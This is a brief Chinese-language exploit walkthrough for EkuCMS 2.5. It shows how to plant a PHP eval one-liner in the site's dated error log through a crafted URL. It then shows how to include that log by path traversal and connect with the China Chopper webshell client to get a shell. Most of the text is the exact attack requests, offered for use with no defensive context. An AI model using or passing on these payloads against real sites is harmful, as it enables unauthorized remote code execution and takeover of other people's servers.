易酷cms本地包含漏洞拿shell

摘要

包含一句话：http://localhost/ekucms2.5/?s=my/show/id/{~eval($_POST[x])} 会在网站的/temp/Logs/目录下生成一个错误日志，命名规则为年_月_日

测试版本：易酷cms2.5

包含一句话：http://localhost/ekucms2.5/?s=my/show/id/{~eval($_POST[x])}

会在网站的/temp/Logs/目录下生成一个错误日志，命名规则为年_月_日

错误日志内容

包含错误日志，地址：http://localhost/ekucms2.5/?s=my/show/id//../temp/logs/17_12_02.log

直接用菜刀连接

成功

查看原文